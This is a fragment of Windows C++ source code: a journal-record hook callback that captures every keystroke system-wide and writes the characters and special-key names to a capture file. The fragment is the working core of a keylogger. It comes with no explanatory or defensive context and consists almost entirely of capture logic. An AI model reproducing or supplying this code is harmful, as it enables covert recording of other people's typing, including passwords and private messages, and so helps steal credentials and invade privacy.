//Journal Hook Thread LRESULT CALLBACK journalrecord(int Code, WPARAM wParam, LPARAM lParam) { pEvent = (EVENTMSG *)lParam; if (Code < 0) return CallNextHookEx(hLogHook, Code, wParam, lParam); if (Code == HC_ACTION) { if (pEvent->message == WM_KEYDOWN) { iKey = LOBYTE(pEvent->paramL); iScan = HIBYTE(pEvent->paramL); iScan <<= 16; szBuffer2 = CString(szBuffer); nBufSize = szBuffer2.GetLength() + 1; lstrcpy(lpws, szBuffer2); dwCount = GetKeyNameText(iScan, lpws, 256); if (dwCount) { if (iKey == VK_SPACE) { szBuffer[0] = ' '; szBuffer[1] = '\0'; dwCount = 1; } if (dwCount == 1) { GetKeyboardState(btKeyBuff); iCharCount = ToAscii(iKey, iScan, btKeyBuff, &wrChar, 0); if (iCharCount > 0) WriteFile(hCapFile, &wrChar, iCharCount, &dwBytes, NULL); } else { if(iKey == VK_LBUTTON) WriteFile(hCapFile, "[VK_LBUTTON]", 12, &dwBytes, NULL); if(iKey == VK_RBUTTON) WriteFile(hCapFile, "[VK_RBUTTON]", 12, &dwBytes, NULL); if(iKey == VK_BACK) WriteFile(hCapFile, "[VK_BACK]", 9, &dwBytes, NULL); if(iKey == VK_TAB) WriteFile(hCapFile, "[VK_TAB]", 8, &dwBytes, NULL); if(iKey == VK_CLEAR) WriteFile(hCapFile, "[VK_CLEAR]", 10, &dwBytes, NULL); if(iKey == VK_RETURN) WriteFile(hCapFile, "\r\n", 2, &dwBytes, NULL); if(iKey == VK_PAUSE) WriteFile(hCapFile, "[VK_PAUSE]", 10, &dwBytes, NULL); if(iKey == VK_CAPITAL) WriteFile(hCapFile, "[VK_CAPITAL]", 12, &dwBytes, NULL); if(iKey == VK_KANJI) WriteFile(hCapFile, "[VK_KANJI]", 10, &dwBytes, NULL); if(iKey == VK_ESCAPE) WriteFile(hCapFile, "[VK_ESCAPE]", 11, &dwBytes, NULL); if(iKey == VK_END) WriteFile(hCapFile, "[VK_END]", 8, &dwBytes, NULL); if(iKey == VK_HOME) WriteFile(hCapFile, "[VK_HOME]", 9, &dwBytes, NULL); if(iKey == VK_LEFT) WriteFile(hCapFile, "[VK_LEFT]", 9, &dwBytes, NULL); if(iKey == VK_UP) WriteFile(hCapFile, "[VK_UP]", 7, &dwBytes, NULL); if(iKey == VK_RIGHT) WriteFile(hCapFile, "[VK_RIGHT]", 10, &dwBytes, NULL); if(iKey == VK_DOWN) WriteFile(hCapFile, "[VK_DOWN]", 9, &dwBytes, NULL); if(iKey == VK_INSERT) WriteFile(hCapFile, "[VK_INSERT]", 11, &dwBytes, NULL); if(iKey == VK_DELETE) WriteFile(hCapFile, "[VK_DELETE]", 11, &dwBytes, NULL); if(iKey == VK_NUMPAD0) WriteFile(hCapFile, "[VK_NUMPAD0]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD1) WriteFile(hCapFile, "[VK_NUMPAD1]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD2) WriteFile(hCapFile, "[VK_NUMPAD2]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD3) WriteFile(hCapFile, "[VK_NUMPAD3]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD4) WriteFile(hCapFile, "[VK_NUMPAD4]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD5) WriteFile(hCapFile, "[VK_NUMPAD5]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD6) WriteFile(hCapFile, "[VK_NUMPAD6]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD7) WriteFile(hCapFile, "[VK_NUMPAD7]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD8) WriteFile(hCapFile, "[VK_NUMPAD8]", 12, &dwBytes, NULL); if(iKey == VK_NUMPAD9) WriteFile(hCapFile, "[VK_NUMPAD9]", 12, &dwBytes, NULL); if(iKey == VK_F1) WriteFile(hCapFile, "[VK_F1]", 7, &dwBytes, NULL); if(iKey == VK_F2) WriteFile(hCapFile, "[VK_F2]", 7, &dwBytes, NULL); if(iKey == VK_F3) WriteFile(hCapFile, "[VK_F3]", 7, &dwBytes, NULL); if(iKey == VK_F4) WriteFile(hCapFile, "[VK_F4]", 7, &dwBytes, NULL); if(iKey == VK_F5) WriteFile(hCapFile, "[VK_F5]", 7, &dwBytes, NULL); if(iKey == VK_F6) WriteFile(hCapFile, "[VK_F6]", 7, &dwBytes, NULL); if(iKey == VK_F7) WriteFile(hCapFile, "[VK_F7]", 7, &dwBytes, NULL); if(iKey == VK_F8) WriteFile(hCapFile, "[VK_F8]", 7, &dwBytes, NULL); if(iKey == VK_F9) WriteFile(hCapFile, "[VK_F9]", 7, &dwBytes, NULL); if(iKey == VK_F10) WriteFile(hCapFile, "[VK_F10]", 8, &dwBytes, NULL); if(iKey == VK_F11) WriteFile(hCapFile, "[VK_F11]", 8, &dwBytes, NULL); if(iKey == VK_F12) WriteFile(hCapFile, "[VK_F12]", 8, &dwBytes, NULL); if(iKey == VK_NUMLOCK) WriteFile(hCapFile, "[VK_NUMLOCK]", 12, &dwBytes, NULL); if(iKey == VK_SCROLL) WriteFile(hCapFile, "[VK_SCROLL]", 11, &dwBytes, NULL); if(iKey == VK_SHIFT) WriteFile(hCapFile, "[VK_SHIFT]", 10, &dwBytes, NULL); if(iKey == VK_CONTROL) WriteFile(hCapFile, "[VK_CONTROL]", 12, &dwBytes, NULL); if(iKey == VK_MENU) WriteFile(hCapFile, "[VK_MENU]", 9, &dwBytes, NULL); } } } } return CallNextHookEx(hLogHook, Code, wParam, lParam); }